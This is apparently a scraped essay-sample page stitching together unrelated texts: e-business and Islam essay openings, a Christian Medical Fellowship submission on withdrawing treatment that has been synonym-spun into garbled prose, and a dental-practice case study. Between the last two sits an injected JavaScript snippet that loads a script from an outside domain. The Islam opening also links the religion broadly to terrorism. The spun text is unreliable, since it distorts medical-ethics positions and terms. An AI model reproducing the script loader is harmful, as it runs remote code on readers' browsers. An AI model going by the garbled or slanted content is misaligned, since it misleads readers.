Comparison Between E-Business and Traditional Business

INTRODUCTION Electronic Business (E-Business) is a perplexing practice due to the numerous aspects it involves. In today’s rapidly changing environment, organizations adopt E-Business to respond to several business drivers. The progressions of the macro-environments are creating innovative business environments, in which E-Business is considered a normal practice. This paper attempts to model the business environment and evaluate its competitive characteristics by comparing the traditional business with E-Business. Kreplin. K, et al (2000), identified â€Å"Reality† and â€Å"Virtuality† terms; these terms differentiates traditional business from E-Business. According to Kreplin. K, et al (2000), E-Business is based on a virtual (digital)†¦show more content†¦An article written by Henricks.M (2006) explains that the time zone differences will cause a lot of difficulty in terms of decision making, planning shipment, organizing logistics and more. As opposed to E-business, E-business have online softwares that enables smooth communication through digital platforms regardless of time zone differences. For E-business entrepreneurs, the first challenge here is the difficulty to obtain capital large enough for any ventures. This includes the research and development needed for the product. In the report â€Å"Managing Worldwide operations amp; Communications with Information Technology† (2007), it was highlighted that many venture capitalist will incur higher risk with large sums of capital. This is because there is high uncertainty of success for entrepreneurs to compete in an open market environment. In addition, another factor arises which is also known to be labour market exuberance. This is described as an irrational competition that arose with the increasing need of technical skills (e.g. software programming). Therefore, firms will likely experience a short supply of skilled workers (Wright.P amp; Lee.D , 2000). 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What Are The Fundamental Beliefs Of Islam - 2146 Words

INTRODUCTION Islam, ISIS, ISIL, Sunni Muslim, Shi’ite Muslim, 911, various terrorist attacks around the world. What do the aforementioned people have in common? Their belief in the Qur’an and Allah. How does this belief in Allah differ with Christianity’s belief in Father God? Who knew that taking down Al Qaeda, and murdering Saddam Hussein would lead to the formation of the violent Islamic State called Isil or Isis? We often hear news about Shiite and Sunni Muslims – what is the difference? Is there really a difference: both are considered monotheistic in nature, however, the â€Å"path† to the Almighty, tends to differ depending on the group or sect. What are the fundamental beliefs of Islam? What world view if any do Muslims ascribe? Islam, like Christianity, and Judaism are thought to have originated with Abraham. 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Cloning Essay Research Paper CMF Ethics CloningSubmission free essay sample

Cloning Essay, Research Paper CMF Ethical motives: CloningSubmission from the CHRISTIAN MEDICAL FELLOWSHIP to the Medical Ethics Committee of the BRITISH MEDICAL ASSOCIATION on WITHDRAWING AND Withholding Treatment Introduction Christian Medical Fellowship is interchurch and has as members more than 4,500 British physicians and 1,000 British medical pupils who are Christians and who desire their professional and personal lives to be governed by the Christian religion as revealed in the Bible. We have members in all subdivisions of the profession, and through the International Christian Medical and Dental Association are linked with like-minded co-workers in over 60 other states. We on a regular basis make entries on ethical affairs to Governmental and other organic structures and, for illustration, commented at length [ 1 ] to the House of Lords Select Committee on Medical Ethical motives in 1993 on affairs which include those covered in this Submission. We are thankful for the chance to notice on the issues involved in the BMA # 8217 ; s Consultation Paper Withdrawing and Withholding Treatment and would be willing to assist farther if requested. Positional Statements The undermentioned constructs in our Avowal on Christian Ethical motives in Medical Practice are relevant to this Submission: In Relation to Human Life Admiting that God is the Creator, the Sustainer and the Lord of all life. Recognizing that human existences are alone, being made in the # 8216 ; image of God # 8217 ; . . . Keeping the deepest regard for single human life from its beginning to its terminal, including the unborn, the helpless, the disableds, and those advanced in age. In Relation to Patients Giving effectual service to those seeking our medical attention irrespective of age, race, credo, political relations, societal position or the fortunes which may hold contributed to their unwellness. Serving each patient harmonizing to their demand. . . Respecting the privateness, sentiments and personal feelings of patients and safeguarding their assurances. Talking truth to patients as they are able to accept it, bearing in head our ain fallibility. Making no injury to patients, utilizing merely those drugs and processs which we believe will be of benefit to them. Keeping as a rule that the first responsibility of physicians is to their patients, whilst to the full accepting our responsibility to advance preventative medical specialty and public wellness. We hold the Bible to be the revealed Word of God and happen this helpful in giving us rules such as the above to steer decision-making in the of all time more complex countries of moralss and pattern. General Remarks We regret the tight timetable allowed for the production of Submissions on such a critical affair. To go around a long and complex audience papers in July, merely before the vacation season, with a deadline of mid-October has meant that we have non been able to keep as broad a audience within our ain extensive constituency as we would hold wished. Although some of us felt the papers # 8216 ; meandered # 8217 ; , it is surely comprehensive and we find much to commend in the content. We would peculiarly commend # 8216 ; a given in favor of protracting life # 8217 ; in instances of uncertainty ( 2.1 ) , the debut ( # 8217 ; a-c # 8217 ; ) to Basic Moral Principles ( 2.8 ) , the refusal to categorize patients on the evidences of disablement ( eg 2.8.4 ) and the construct of # 8216 ; Best Interests # 8217 ; ( 2.9.4 ) . Specific Remarks Before trying replies to the specific inquiries posed in the audience papers, we make a figure of remarks of a # 8216 ; comparison and contrast # 8217 ; nature: Bring arounding and caring # 8211 ; non killing Although we acknowledge that this audience is non about mercy killing, that topic can neer be far off from the issues involved. We hold that knowing medical violent death is ever unneeded and ever incorrect [ 1 ] and has no topographic point in the pattern of medical specialty. Caring # 8211 ; non bring arounding ever Medicine has two traditional duties # 8211 ; to forestall decease and to alleviate enduring. One ( remedy ) deals with the measure of life, the other ( attention ) with its quality. At the bosom of the treatment of retreating and keep backing intervention is the shifting of the balance from the duty to forestall decease or preserve life to the duty to forestall agony and maximise quality of the progressively cherished clip that remains. Associated with this, it is indispensable for the populace and the profession to recognise that life has a natural terminal. For grounds possibly connected with general loss of committedness to the Christian religion and ethic, decease has become a tabu in our society. Rising patient outlooks of admiration remedy after admiration remedy add to the tendency for many patients and their households to deny the world of at hand decease. In add-on, many physicians overtreat deceasing patients or handle them unsuitably. This may be partially for the general social grounds given above, for grounds of # 8216 ; defensive medical specialty # 8217 ; , or for more personal grounds. Confronting deceasing patients may raise uncomfortable suggestions of the physician # 8217 ; s own mortality, physicians may bask giving interventions, or possibly they need more patients in their tests. One of our members has written movingly of these phenomena in the profession in a recent BMJ Personal View [ 2 ] . Whatever the accounts in general and in single instances, we are convinced that the medical profession has caused much of the present thrust for mercy killing amongst some in our society because of overtreatment. It is non needfully a failure for medical specialty when the clip comes that we can no longer remedy ; we so change the ends of medical specialty towards concentrating on lovingness, a doctrine so good demonstrated by the alleviative attention motion. The public needs on-going instruction about the restrictions of healing medical specialty. Real # 8211 ; non rare It is good said that # 8216 ; difficult instances make bad jurisprudence # 8217 ; , and whilst we recognise the specific and hard issue of retreating tubing eating in PVS patients, for illustration, we must admit that such instances are gratefully rare, and non let rules for decision-making to be driven by difficult instances entirely. As one of our geriatrician members put it in his grounds to us, # 8216 ; most people who die are old # 8217 ; . The rules for geting at ethical replies in withdrawing and keep backing intervention state of affairss must work out in pattern with those much larger patient groups with, for illustration, terrible shot. Principled counsel # 8211 ; non normative guidelines We believe a cardinal error in the by and large first-class thought in the audience papers is that # 8216 ; guidelines # 8217 ; will work out the jobs. Two really recent BMJ articles [ 3,4 ] have noted that physicians # 8216 ; are being flooded with guidelines # 8217 ; . Why is this? The reply likely lies in the current cultural state of affairs of fright and incrimination. As the audience papers says so good [ 5 ] : # 8216 ; how widespread is the feeling that when a individual dies person else must be responsible instead than merely unwellness or human mortality being the cause of decease # 8217 ; . Possibly the single wellness professional thinks unconsciously: # 8216 ; If a patient dies, person is to fault. That person mustn # 8217 ; t be me. I must cover myself. If I have followed the guidelines they can # 8217 ; t trap anything on me. # 8217 ; And in an progressively litigious society, employers will be dying to turn out that everything was done by the book. However, normative rulebooks don # 8217 ; t apply good to medicate. It isn # 8217 ; Ts like that. It is imprecise, and unsure. Possibly normative guidelines of the # 8216 ; If A, do B # 8217 ; kind may work for a few well-specified surgical conditions, but they are excessively stiff for ethical application in the huge bulk of serious unwellnesss. Clinical conditions wax and ebb, and therapies are iterative, tried on an empirical footing and possibly retreat on evidences which are more frequently # 8216 ; clinical # 8217 ; than # 8216 ; moral # 8217 ; . We call below for more nonsubjective research on intervention results and doubtless more cognition will be gathered, but medical specialty will ever stay an art every bit much as a scientific discipline. We believe it would be a great error for the BMA or others to seek narrowly normative ethical guidelines. Each patient, each unwellness, each state of affairs is unique. The profession needs a set of rules, ethical counsel along the lines we set out here, but non more guidelines of the type drenching the profession. Seniors at the bedside # 8211 ; non slaves to bureaucracy Admiting that much of medical specialty is an art, clinical experience is a great aid. Difficult intervention determinations of the type being considered by the BMA merit the presence of the most clinically experient physicians and nurses at the bedside. Patients deserve the best. Yet inappropriate direction civilization within the NHS may intend that those experient senior professionals can non give the clip they would wish to assisting do the best determinations at the bedside, by the way patterning best pattern to co-workers in preparation. We besides commend multidisciplinary squad attacks with shared information inputs. Often determinations are taken by inexperient juniors, as stray persons, and non by experient squads together. Possibly at that place necessitate to be cultural alterations and restructuring within some parts of the NHS so that patients and paperwork both have the precedences they deserve. Carers and clinicians # 8211 ; non commissions and tribunals We favour moralss determinations in health care being taken harmonizing to the # 8216 ; partnership of two experts # 8217 ; # 8211 ; the wellness professionals who have their proficient countries of expertness and the patient who is an expert in two things: how he or she feels and what he or she wants. Ideally, appropriate professional paternalism and appropriate patient liberty should be balanced in such a duologue between experts, to the benefit of both. Decisions would normally outdo be taken with the patient by carers and clinicians. We do non favor the development of clinical moralss commissions # 8211 ; most of the moralss commissions presently in being are research moralss commissions and many new constructions would necessitate to be set up, with doubtful benefit. Most of the hard intervention determinations under consideration are comparatively acute and commissions would be excessively slow to react. Nor do we in general favor widening the engagement of the tribunals. Whilst we believe determinations about backdown of tubing eating in PVS patients should still travel to tribunal, and that there should be no countries in medical pattern that the jurisprudence can non analyze, we do non favor further engagement of jurisprudence in moralss decision-making. Research # 8211 ; non rhetoric Whilst many facets of caring for a patient with a concluding unwellness will ever remain to some extent intuitive, we advocate nonsubjective research into factors finding intervention results. For illustration, multivariate analysis of clinical findings can help in doing anticipations ( eg APACHE marking in the ITU ) . Advice and decision-taking can therefore be as grounds based as possible, and continuously updated as new techniques make their impact. All the health care subjects should be committed to go oning instruction and the extension of proven best pattern. Many of these remarks endorse subdivisions of the audience papers, and we do them all in the most constructive spirit. Individual determinations will neer be easy and we advocate against any attack that makes them look so. However, a dependable set of ethical boundaries such as we have tried to bespeak within these seven sets of specific remarks should put helpful bounds for the hard determinations in each alone instance. Answers to # 8216 ; Section 3 # 8211 ; Specific inquiries on which the BMA is seeking positions # 8217 ; 1. Are there spreads which need make fulling in current UK ethical/legal counsel about retreating or keep backing life-prolonging interventions? Are at that place other legal and ethical jobs associated with withdrawing or withholding intervention which are non mentioned in this paper? As outlined above, we don # 8217 ; t believe there is presently the right sort of counsel that takes equal history of the natural history of the unwellnesss in inquiry or of their responses to therapy. Our ain conceptual model indicates the manner we view the legal and ethical issues. 2. Are international consensus paperss such as the 1992 Appleton International Consensus used in pattern when determinations need to be made? If so, is reappraisal of such guidelines necessary? Few of us are cognizant of the Appleton Consensus. We doubt this attack is much used by clinicians. 3. If counsel were to be produced, are at that place good grounds for separating between retreating and keep backing intervention? If so, what are they? In rule, and from a moral doctrine position, we agree with the BMA # 8217 ; s place that there is no ethical difference between retreating intervention which has become ineffectual and non presenting that intervention at an earlier phase. However, in pattern the two may good experience really different to professional and household carers and this must be taken into history at the bedside. 4. Be at that place good grounds for separating between the intervention of grownups and kids when pulling up counsel? If so, what are they? We do non believe there are valid moral differences, though it seems to be a gt ; ( well-documented [ 6 ] ) homo inherent aptitude to seek harder for kids. On clinical evidences, kids in many state of affairss will be given to make better than grownups and forecast is even more hard. For physiological but non moral grounds, counsel about intervention of kids may necessitate to be distinguished from intervention of grownups in some clinical state of affairss, since their resiliency greatly exceeds that of grownups. 5. When patients lack the ability to do determinations for themselves, will non recover awareness, and there is no clear indicant of their wants, should retreating or keep backing intervention be an issue to be decided by wellness professionals and households entirely? We presume from its phrasing that this inquiry addresses issues including the backdown of tubing eating in PVS patients. Because to halt giving nutrient and fluid to a patient will necessarily and surely do their life to stop, we believe this determination, if it has to be considered, should go on to come before the tribunals. Other intervention determinations which are more clearly # 8216 ; clinical # 8217 ; , such as sing keep backing antibiotics for dangerous infection, could ethically be taken by professionals and household together. If so, should the decision-making procedure conform to strict standards? N/A What sort of standards would be appropriate? N/A Are the 1s discussed in this paper sufficient? N/A 6. Is at that place a foreseeable phase at which retreating nutrition and hydration from patients who have irrevocably lost awareness would no longer necessitate to travel to tribunal? No. See ( 5 ) 7. Is there a function for moralss commissions to be involved in doing determinations about retreating or keep backing intervention from patients who can non show their ain positions? No ( see our Specific Comments above ) . Most current commissions are research moralss 1s. New constructions of unproved benefit would be needed. Many such determinations are excessively acute to expect # 8216 ; the following meeting of the commission # 8217 ; . 8. Are at that place peculiarly debatable determinations of this type which should be made merely by the tribunals? As stated, we believe determinations about retreating nutrient and fluid from patients in PVS should come to tribunal. Whilst every bit sincere physicians disagree about the purpose of retreating nutrient and fluid from such patients, the fact that the patient # 8217 ; s decease is the inevitable effect means this determination is different from others. If so, can unclutter parametric quantities be defined to distinguish those instances sufficiently debatable to necessitate legal overview from those which could lawfully be decided jointly by households and wellness professionals? It is the certainty of decease following the backdown of nutrient and fluid from patients non otherwise at the terminal of their natural lives which leads to this ethical quandary. For many professionals such action represents a breach of responsibility of attention, and is outside the # 8216 ; clinical # 8217 ; determination to halt efforts at remedy. There would be peculiar force per unit areas on nurses in such state of affairss. Would ambiguity about the footings of a patient # 8217 ; s refusal of intervention or about competency to do valid refusal be the type of instance where tribunals should be involved? Other illustrations of instances that should come to tribunal might include major struggles between parties that can non be resolved after # 8217 ; 2nd sentiments # 8217 ; . However, we reiterate our strong belief that there should be as small legal engagement in medical decision-making as possible. 9. Department of energies retreating or keep backing unreal nutrition and hydration signifier a separate class of determination from any other type of intervention which might be withheld or withdrawn? Yes. If so, why? The patient will necessarily decease as a effect of retreating nutrient and fluids, though the clip of decease may be unpredictable. Most wellness professionals feel this is incorrect # 8211 ; in the five old ages since the decease of Antony Bland a conservative estimation of 1-2,000 patients have gone into PVS and died of it. Merely ten or so instances have come before the tribunals in that period to bespeak permission to withdraw nutrient and fluids. This suggests that whatever the hard philosophical issues, the intuitions of approximately 99 % of household and professional carers are that such an action is incorrect. Does society demand to hold clear and rigorous standards for withdrawing or keep backing unreal nutrition and hydration? No. If so, what sort of standards? N/A Are the standards and precautions discussed in this paper ( e.g. a period of monitoring before a determination is made ; an independent 2nd medical sentiment ) sufficient? No. 10. When determinations about withdrawing or keep backing have to be made, what are the chief factors which wellness professionals presently take into history when discoursing the affair with competent patients? Likely forecast is the chief issue, but the unity of the wellness professional in inquiry is of import # 8211 ; he or she can so bias the presentation of information as to obtain the determination they would prefer the patient made. When make up ones minding how to continue for patients who can non show an sentiment? Communicating hard and unsure issues to the household, with the highest unity. 11. How should # 8220 ; best involvements # 8221 ; be defined for helpless people? What standards should be taken into history? In general, we agree with the papers # 8217 ; s treatment at 2.9.4. We would surely see capacity for relationships as valuable, but the absence of such capacity where there appears no awareness does non cut down the intrinsic worth of that individual in God # 8217 ; s eyes. They are ever of value because they remain made in the image of God and He has a go oning relationship with them. 12. If a patient has left no indicant of who should be consulted on his or her behalf, how widely should see be sought from people caring for an incapacitated grownup? Although there are no legal rights involved, it would surely be good pattern to seek the positions of those straight involved in attention. However, cautiousness is needed because of the emotional reactions of loved 1s, and their other involvements, which may or may non be subterranean motivations. Should the positions of blood relations take precedency over others? No. The societal work construct of # 8216 ; Most caring other # 8217 ; is likely the best usher. 13. Is conflict common between different classs of wellness professionals or between wellness professionals and relations? No, but it is non that unusual in most patterns and sections. Could conflict between wellness professionals be avoided or is it a positive goad to all-around treatment? # 8216 ; Conflict # 8217 ; in the sense of adversarial treatment can be constructive and should non be avoided at all costs. Are at that place good theoretical accounts for deciding differences within and between wellness squads, carers and relations? Prevention is better than remedy. Good communicating is of import, and the clip force per unit areas on short-handed and overworked squads are hence too bad. The duologue between the # 8216 ; partnership of two experts # 8217 ; is based on common regard and unfastened communicating, with the purpose being to happen consensus. 14. Is at that place still topographic point for separate sets of professional counsel, trying to reflect the peculiar position of each profession or is it desirable that all guidelines try to reflect a broad multi-disciplinary attack? No. The different wellness subjects should all be spouses in the same endeavor, and counsel must reflect normally recognized rules. 15. Should at that place be more research into how determinations about withdrawing or withholding intervention are made? Yes, but instead than subjective research on the behavior of wellness professionals who may non cognize why they are making what they are making, we would favour nonsubjective research on results to let the best clinical grounds base possible. These determinations are frequently more # 8216 ; clinical # 8217 ; 1s than # 8216 ; ethical # 8217 ; 1s. 16. Make you see that there is wide concern about the usage of the # 8220 ; dual consequence # 8221 ; statement refering intervention at the terminal of life? No. We hold the rule of purpose as critical in this whole country and have stated above that we believe knowing medical violent death is ever incorrect. Once explained decently, our experience is that wellness professionals and the populace readily understand and back up the construct. By the way, we find the wording # 8216 ; dual consequence # 8217 ; unneeded and unhelpful, looking in itself to propose # 8216 ; dual criterions # 8217 ; , ie lip service. We favour the individual word # 8216 ; purpose # 8217 ; . The physician # 8217 ; s purpose is the alleviation of hurting or enduring even though this may really on occasion shorten by hours or yearss a life which it is non possible to salvage. Of class, there may in pattern be hypocrisy, as physicians can feign one purpose while holding another, or there may be unconscious self misrepresentation about motivations. There are besides issues about the # 8216 ; knowledge spread # 8217 ; # 8211 ; we may mean one thing but because of limited foresight achieve another, the # 8216 ; intending good but making severely # 8217 ; state of affairs. However, despite these issues, # 8216 ; purpose # 8217 ; is the most helpful construct we have in this country. It has legal standing, and there are precautions. A precaution to # 8216 ; How do we cognize what the physician # 8217 ; s purpose really was? # 8217 ; would be to guarantee that major determinations were taken out in the unfastened with the widest possible treatment of foreseeable effects and affecting the patient every bit to the full as possible. In add-on, where the disposal of interventions is concerned, there would be pharmacological precautions in prescription records of drug dose and frequence. If so, is the concern shared by wellness professionals and the populace? Such concern as there is partially reflects echt confusion, which should be conformable to account and instruction. However, confusion is besides encouraged by the euthanasia motion as a misanthropic run scheme. It is in their involvements to seek and convert professionals and patients that # 8216 ; physicians are making mercy killings already with these large doses of powerful analgesics and what we need now is a jurisprudence to clear up the place # 8217 ; . Would wellness professionals welcome more argument about the deductions of # 8220 ; dual consequence # 8221 ; ? Some need this helpful and really clear point explained more efficaciously. 17. Are there add-ons or amendments that should be made to the list of general points refering withholding or retreating intervention mentioned in subdivision 2.11 of the treatment paper? We would merely underscore that parts of this by and large first-class drumhead seem to take excessively simplistic a position of the likely natural history of clinical conditions and of their responses to therapy. Patients can surprise us by acquiring better against the odds. 18. Make you cognize of any bing local or national guidelines which the BMA should take into history if it moves in front to pull up new counsel? No. Make you cognize of any advanced ways of deciding jobs connected with backdown or withholding of intervention? No, other than our attack which establishes the boundaries within which single determinations are taken. We do non believe that more normative guidelines will of all time give the best consequences. In these quandaries, a decision-making model is of more value than a expression. Ten cardinal constructs in sum-up: 1. Intentional violent death is ever unneeded and incorrect. 2. Life has a natural terminal and there is non needfully anyone to fault when a patient dies. 3. Doctors tend to overtreat towards the terminal of life, doing demand for mercy killing. 4. Society needs to interrupt its current tabu about confronting decease. 5. Sing the Christian religion is indispensable for a healthy geographic expedition of the construct of decease. 6. When accepting that remedy is either non possible or non sought by the patient, attention continues. 7. The most senior clinicians should be cardinal figures in these determinations. 8. Many of the hard determinations are more # 8216 ; clinical # 8217 ; than # 8216 ; ethical # 8217 ; . 9. Medicine is a biological scientific discipline with unsure results but research must better its grounds base. 10. Principles for counsel which define ethical boundaries are more helpful than normative guidelines. Mentions 1. Submission from the Christian Medical Fellowship to the House of Lords Select Committee on Medical Ethics. 1993 2. Personal position. Doctors contending, flying or confronting up to decease. Goodall J. British Medical Journal, 1 August 1998 ; 317: 355-6 3. Column. Where # 8217 ; s the main cognition officer? Muir Gray J A. British Medical Journal, 26 September 1998 ; 317: 832 4. Guidelines in general pattern: the new Tower of Babel? Hibble A, Kanka D, Pencheon D, Pooles F. British Medical Journal, 26 September 1998 ; 317: 862-3 5. Withdrawing and Withholding Treatment: a audience paper from the BMA # 8217 ; s Medical Ethics Committee. 1998. p5 6. Ibid. p14 Christian Medical Fellowship October 1998 Home page About CMF Ethics home page Site Index Copyright? 1998 Christian Medical Fellowship. Remarks, suggestions, information: Email webmaster @ cmf.org.uk CMF is a registered charity ( No 1039823 ) ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Dr. Becketts Dental Office free essay sample

The problem starts when she never gave importance on the implication of management but rather run only her business in a way she wanted it to be. * She did not care of running a business without a background on handling and managing a business. She always asks for a consultant’s help and that is not enough to just rely on them because Dr. Beckett never try to understand and learn of what would be the consequences.An instance came, when doctors and dentist need to imply HMOs policy, but she never implied on it rather she rely to a consultant and do instead what she wanted to do, she did not even look at what problem she may encounter in being in favor to this movement. * Dr. Beckett decides to redesign the service delivery system. In terms of facilities she wanted the work environment to reflect her own personality and values as well as providing a pleasant place for her staff to work. She provided employees with many opportunities to update their skills by attending classes and workshops.She also rewarded their hard work by giving monthly bonuses if business had been good. * She realized that productivity gains were necessary; she doesn’t want to compromise the quality of service her patients received. Since higher quality care was more costly, Dr. Beckett patients sometimes had to pay fees for cost that were not covered by their insurance policies. * These patients might decide to switch to HMO dentist (Health Maintenance Organization). The HMOs set the prices for various services by putting an upper limitation on the amount that their doctors and dentists could change for various procedures. The advantage to patients was that their health insurance covered virtually all costs. But the price limitations meant that HMO doctors and dentists would not be able to offer certain services that might provide better quality care but were too expensive. Sometimes, staff members would substitute for each other when necessary to help with tasks that were not specifically in their job descriptions in order to make things even more smoothly. This instance is not a good practice since the service to be offered may not satisfied the customers especially in the cases when these staffs really don’t know what to do.Still, management cover the service offered or Beckett doesn’t know that in management, they should give priority to the specific field that the staffs should focus and work to. Since she never gives importance to it, consequences may surely happen. Dr. Beckett just only rely on the word or mouth done by her current patients in order to have new customers to avail the service offered, she even thought that she doesn’t need to sell herself because her current customers had already been told their family and friends about her service, plus she doesn’t need to advertise, since her current customers are a big help.One more thing, since advertising is not implemented, Dr. Beckett have a hard time in demonstrating the high level of quality that she wish to let her patients know, and how to help them have a positive and favorable attitude towards the service. She did not even mind about the customer needs. As a whole, the problem or Dr. Beckett covered the system of management in her business and how to improve mush the service she offered with the help of establishing the right way on managing a business. Statement of the Problem * How will Dr. Beckett and her staffs improve the management system of the company? How do Dr. Beckett and her staffs educate patients about the service they are receivingShe decided that her top priority was differentiating the practice on the basis of quality. Since higher quality care was more costly, Dr. Beckett’s patients sometimes have to pay fees for costs that were not covered by their insurance policies. If the quality differences weren’t substantial, these patients might decide to switch to an HMO dentist or another lower-cost provider. Sine Dr. Beckett does not even mind her customer needs and just focus and give prior to the job she’s working to her patients tend not to live on going to the dentist and tend to have a negative attitude toward that service.Alternative courses of Action * Dr. Beckett must implement a better management system in the company in order to deliver a better service and satisfy their customers that her service is with high quality. * Dr. Beckett must promote and educate the service she offers to her customers in order for them to know the benefits they might get and even though the price of her services is high, the qualities of the services are worth it. First is the Comfortable Dental Anesthetic delivery that helps ensure the patients’ visits are always easy and comfortable. Second, is the Dental Laser for gums that is effective for disinfection, faster healing, quick and easy to use, less need for anesthesia, minimal discomfort afterward and better results. And third, is the Dental Air Abrasion, which is a relatively new tooth preparation technique that can be use in place of traditional dental drill. It allows the dentist to do many repairs to the teeth without the noise and vibration of the drill.Recommendation * Dr. Beckett must choose all of the alternative courses of action mentioned above in order to gain more customers and keep the existing ones by giving Thank you cards to patients who referred other patients; follow up calls to patients after major procedures; a goodie box for patients including toothbrush, toothpaste, mouthwash, and floss; buckwheat pillows and blanket for patient comfort during long procedures; coffee and tea in the waiting area, and a photo album in the waiting area with pictures of staff and their families.Learning * Befor e taking up any action we should make sure that it is for good and for the better so that we don’t have any regret and before putting up a business we must have enough information, knowledge and understanding on how to handle a business so that our business will stay longer in industry. Before redesigning the service system we must evaluate and compute the cost of it because quality services always connect with higher cost so that other customers could avail the services intended to offer. * A service provider must accept the feedback of their customer because there are some customers that are not happy with quality and value of the service they receive from the company.